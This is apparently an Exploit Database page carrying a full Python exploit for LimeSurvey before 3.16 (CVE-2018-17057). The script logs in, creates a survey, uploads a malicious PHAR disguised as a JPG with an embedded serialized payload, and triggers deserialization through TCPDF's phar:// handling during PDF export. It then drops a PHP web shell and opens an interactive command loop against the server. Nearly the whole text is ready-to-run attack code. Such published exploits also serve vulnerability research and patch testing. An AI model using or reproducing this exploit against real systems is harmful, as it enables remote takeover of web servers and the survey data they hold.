LimeSurvey < 3.16 - Remote Code Execution

• Exploit Database
• 13 阅读

• 作者： q3rv0
  日期： 2019-04-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46634/

• #!/usr/bin/python
  
  # Description: LimeSurvey < 3.16 use a old version of "TCPDF" library, this version is vulnerable to a Serialization Attack via the "phar://" wrapper.
  # Date: 29/03/2019
  # Exploit Title: Remote Code Execution in LimeSurvey < 3.16 via Serialization Attack in TCPDF.
  # Exploit Author: @q3rv0
  # Google Dork:
  # Version: < 3.16
  # Tested on: LimeSurvey 3.15
  # PoC: https://www.secsignal.org/news/remote-code-execution-in-limesurvey-3-16-via-serialization-attack-in-tcpdf
  # CVE: CVE-2018-17057
  # SecSignal is: <3
  # Usage: python exploit.py [URL] [USERNAME] [PASSWORD]
  
  import requests
  import sys
  import re
  
  SESSION = requests.Session()
  
  # Malicious PHAR generated with PHPGGC.
  # ./phpggc Yii/RCE1 system "echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php" -p phar -o /tmp/exploit.jpg
  
  PHAR= ("\x3c\x3f\x70\x68\x70\x20\x5f\x5f\x48\x41\x4c\x54\x5f\x43\x4f\x4d\x50\x49\x4c\x45\x52\x28\x29\x3b\x20\x3f\x3e\x0d\x0a\x38"
   "\x02\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x02\x00\x00\x4f\x3a\x31\x31\x3a\x22\x43\x44\x62"
   "\x43\x72\x69\x74\x65\x72\x69\x61\x22\x3a\x31\x3a\x7b\x73\x3a\x36\x3a\x22\x70\x61\x72\x61\x6d\x73\x22\x3b\x4f\x3a\x31\x32"
   "\x3a\x22\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x22\x3a\x33\x3a\x7b\x73\x3a\x31\x36\x3a\x22\x00\x43\x4d\x61\x70"
   "\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x64\x22\x3b\x4f\x3a\x31\x30\x3a\x22\x43\x46\x69\x6c\x65\x43\x61\x63\x68\x65\x22"
   "\x3a\x37\x3a\x7b\x73\x3a\x39\x3a\x22\x6b\x65\x79\x50\x72\x65\x66\x69\x78\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x37"
   "\x3a\x22\x68\x61\x73\x68\x4b\x65\x79\x22\x3b\x62\x3a\x30\x3b\x73\x3a\x31\x30\x3a\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65"
   "\x72\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x31\x3b\x73\x3a\x36\x3a\x22\x73\x79\x73\x74\x65\x6d\x22\x3b\x7d\x73\x3a\x39\x3a"
   "\x22\x63\x61\x63\x68\x65\x50\x61\x74\x68\x22\x3b\x73\x3a\x31\x30\x3a\x22\x64\x61\x74\x61\x3a\x74\x65\x78\x74\x2f\x22\x3b"
   "\x73\x3a\x31\x34\x3a\x22\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x4c\x65\x76\x65\x6c\x22\x3b\x69\x3a\x30\x3b\x73\x3a\x31\x31"
   "\x3a\x22\x65\x6d\x62\x65\x64\x45\x78\x70\x69\x72\x79\x22\x3b\x62\x3a\x31\x3b\x73\x3a\x31\x35\x3a\x22\x63\x61\x63\x68\x65"
   "\x46\x69\x6c\x65\x53\x75\x66\x66\x69\x78\x22\x3b\x73\x3a\x31\x34\x30\x3a\x22\x3b\x62\x61\x73\x65\x36\x34\x2c\x4f\x54\x6b"
   "\x35\x4f\x54\x6b\x35\x4f\x54\x6b\x35\x4f\x57\x56\x6a\x61\x47\x38\x67\x4d\x32\x4d\x7a\x5a\x6a\x63\x77\x4e\x6a\x67\x33\x4d"
   "\x44\x49\x77\x4e\x7a\x4d\x33\x4f\x54\x63\x7a\x4e\x7a\x51\x32\x4e\x54\x5a\x6b\x4d\x6a\x67\x79\x4e\x44\x56\x6d\x4e\x44\x63"
   "\x30\x4e\x54\x55\x30\x4e\x57\x49\x79\x4d\x6a\x59\x7a\x4d\x6a\x49\x31\x5a\x44\x49\x35\x4d\x32\x49\x79\x4d\x44\x4e\x6d\x4d"
   "\x32\x55\x77\x59\x53\x42\x38\x49\x48\x68\x34\x5a\x43\x41\x74\x63\x69\x41\x74\x63\x43\x41\x2b\x49\x48\x4e\x6f\x5a\x57\x78"
   "\x73\x4c\x6e\x42\x6f\x63\x41\x3d\x3d\x22\x3b\x7d\x73\x3a\x31\x39\x3a\x22\x00\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f"
   "\x72\x00\x5f\x6b\x65\x79\x73\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x30\x3b\x69\x3a\x30\x3b\x7d\x73\x3a\x31\x38\x3a\x22\x00"
   "\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x6b\x65\x79\x22\x3b\x69\x3a\x30\x3b\x7d\x7d\x08\x00\x00\x00\x74"
   "\x65\x73\x74\x2e\x74\x78\x74\x04\x00\x00\x00\x36\xad\x9d\x5c\x04\x00\x00\x00\x0c\x7e\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00"
   "\x00\x74\x65\x73\x74\xcc\xd9\x99\xbd\x5e\x65\x4e\x03\x9b\x90\xdd\xd5\x8b\xff\x28\xd2\x37\x8b\x23\xe5\x02\x00\x00\x00\x47"
   "\x42\x4d\x42")
  
  def usage():
  if len(sys.argv) != 4:
  print "Usage: python exploit.py [URL] [USERNAME] [PASSWORD]"
  sys.exit(0)
  
  def get(url):
  	r = SESSION.get(url, verify=False)
  	return r.text
  
  def post(url, data={}, files=None, headers=None):
  	r = SESSION.post(url, data=data, headers=headers, files=files, verify=False)
  	return r.text
  
  def getYIICSRFToken(url):
  	res = get(url)
  	token = re.findall(r'value="(.*)" name="YII_CSRF_TOKEN"', res)
  	return token[0] 
  
  def getKCSRFToken(url):
  	res = get(url)
  	token = re.findall(r'csrftoken = "(.*)";', res)
  	return token[0]
  
  def login(url, username, password):
  	token = getYIICSRFToken(url)
  	data = {"YII_CSRF_TOKEN" : token,
  	"authMethod" : "Authdb", 
  	"user" : username,
  	"password" : password,
  	"loginlang": "default",
  	"action" : "login",
  	"width": "1366",
  	"login_submit" : "login"
  	 }
  	res = post(url, data)
  	if len(re.findall("loginform", res)) == 0:
  		return True
  	else:
  	return False
  
  def emailTemplates(url):
  return get(url)	
  
  def createSurvey(url_newsurvey, url_insert):
  	token = getYIICSRFToken(url_newsurvey)
  	data = {"YII_CSRF_TOKEN" : token,
  	"surveyls_title" : "Survey Example - SecSignal",
  	"language" : "en",
  	"createsample" : "0",
  	"description": "foo",
  	"url": "",
  	"urldescrip" : "",
  	"dateformat" : "1",
  	"numberformat_en": "0",
  	"welcome": "bar",
  	"endtext": "asdf",
  	"owner_id" : "1",
  	"admin": "Administrator",
  	"adminemail" : "test%40gsecsignal.org",
  	"bounce_email" : "test%40gsecsignal.org",
  	"faxto": "",
  	"gsid" : "1",
  	"format" : "G",
  	"template" : "fruity",
  	"navigationdelay": "0",
  	"questionindex": "0",
  	"showgroupinfo": "B",
  	"showqnumcode" : "X",
  	"shownoanswer" : "Y",
  	"showxquestions" : "0",
  	"showxquestions" : "1",
  	"showwelcome": "0",
  	"showwelcome": "1",
  	"allowprev": "0",
  	"nokeyboard" : "0",
  	"showprogress" : "0",
  	"showprogress" : "1",
  	"printanswers" : "0",
  	"publicstatistics" : "0",
  	"publicgraphs" : "0",
  	"autoredirect" : "0",
  	"startdate": "",
  	"expires": "",
  	"listpublic" : "0",
  	"usecookie": "0",
  	"usecaptcha_surveyaccess" : "0",
  	"usecaptcha_registration" : "0",
  	"usecaptcha_saveandload": "0",
  	"datestamp" : "0",
  	"ipaddr": "0",
  	"refurl": "0",
  	"savetimings" : "0",
  	"assessments" : "0",
  	"allowsave" : "0",
  	"allowsave" : "1",
  	"emailnotificationto" : "",
  	"emailresponseto" : "",
  	"googleanalyticsapikeysetting" : "N",
  	"googleanalyticsstyle" : "0",
  	"tokenlength": "15",
  	"anonymized" : "0",
  	"tokenanswerspersistence": "0",
  	"alloweditaftercompletion" : "0",
  	"allowregister": "0",
  	"htmlemail": "0",
  	"htmlemail": "1",
  	"sendconfirmation" : "0",
  	"sendconfirmation" : "1",
  	"saveandclose" : "1"
  	 }
  	res = post(url_insert, data)
  	surveyid = re.findall(r'surveyid\\/([0-9]+)', res)
  	return surveyid[0] # Return SurveyiD
  
  def uploadPHAR(url_upload, url_csrf_token, phar):
  	kcfinder_csrftoken = getKCSRFToken(url_csrf_token)
  	files = {'upload[]': ('malicious.jpg', phar)}
  	data= {"dir": "files",
  	 "kcfinder_csrftoken" : kcfinder_csrftoken
  	}
  	res = post(url_upload, data, files)
  	return res
  
  def pdfExport(url_pdf_export, surveyid):
  	token = getYIICSRFToken(url_pdf_export + surveyid)
  	data = {"save_language" : "en",
  	"queXMLStyle" : '<h1>Stage 2</h1><img src="phar://./upload/surveys/'+ surveyid + '/files/malicious.jpg">',
  	"queXMLSingleResponseAreaHeight" : "9",
  	"queXMLSingleResponseHorizontalHeight" : "10.5",
  	"queXMLQuestionnaireInfoMargin" : "5",
  	"queXMLResponseTextFontSize" : "10",
  	"queXMLResponseLabelFontSize" : "7.5",
  	"queXMLResponseLabelFontSizeSmall" : "6.5",
  	"queXMLSectionHeight" : "18",
  	"queXMLBackgroundColourSection" : "221",
  	"queXMLBackgroundColourQuestion" : "241",
  	"queXMLAllowSplittingSingleChoiceHorizontal" : "0",
  	"queXMLAllowSplittingSingleChoiceHorizontal" : "1",
  	"queXMLAllowSplittingSingleChoiceVertical" : "0",
  	"queXMLAllowSplittingSingleChoiceVertical" : "1",
  	"queXMLAllowSplittingMatrixText" : "0",
  	"queXMLAllowSplittingMatrixText" : "1",
  	"queXMLAllowSplittingVas" : "0",
  	"queXMLPageOrientation" : "P",
  	"queXMLPageFormat" : "A4",
  	"queXMLEdgeDetectionFormat" : "lines",
  	"YII_CSRF_TOKEN" : token,
  	"ok" : "Y"}
  	res = post(url_pdf_export + surveyid, data)
  	return res
  
  def shell(url):
  r = requests.get("%s/shell.php" % url)
  if r.status_code == 200:
   print "[+] Pwned! :)"
   print "[+] Getting the shell..."
   while 1:
   try:
   input = raw_input("$ ")
   r = requests.get("%s/shell.php?c=%s" % (url, input))
   print r.text
   except KeyboardInterrupt:
   sys.exit("\nBye kaker!")
  else:
  print "[*] The site seems not to be vulnerable :("
  
  def main():
  usage()
  url= sys.argv[1] # URL
  username = sys.argv[2] # Username
  password = sys.argv[3] # Password
  url_login = "%s/index.php/admin/authentication/sa/login" % url
  
  print "[*] Logging in to LimeSurvey..."
  if login(url_login, username, password):
  
  url_newsurvey = "%s/index.php/admin/survey/sa/newsurvey" % url
  url_insert = "%s/index.php/admin/survey/sa/insert" % url
  
  print "[*] Creating a new Survey..."
  surveyid = createSurvey(url_newsurvey, url_insert) 
  print "[+] SurveyID: %s" % surveyid
  
  email_templates = "%s/index.php/admin/emailtemplates/sa/index/surveyid/%s" % (url, surveyid)
  
  emailTemplates(email_templates)
  
  url_csrf_token = "%s/third_party/kcfinder/browse.php?opener=custom&type=files&CKEditor=email_invitation_en&langCode=en" % url
  url_upload = "%s/third_party/kcfinder/browse.php?type=files&lng=en&opener=custom&act=upload" % url
  
  print "[*] Uploading a malicious PHAR..."
  uploadPHAR(url_upload, url_csrf_token, PHAR)
  
  url_pdf_export = "%s/index.php/admin/export/sa/quexml/surveyid/" % url
  
  print "[*] Sending the Payload..."
  export_response = pdfExport(url_pdf_export, surveyid)
  print "[*] TCPDF Response: %s" % export_response
  
  shell(url)
  else:
  print "[-] Bad credentials :("
  
  if __name__ == "__main__":
  main()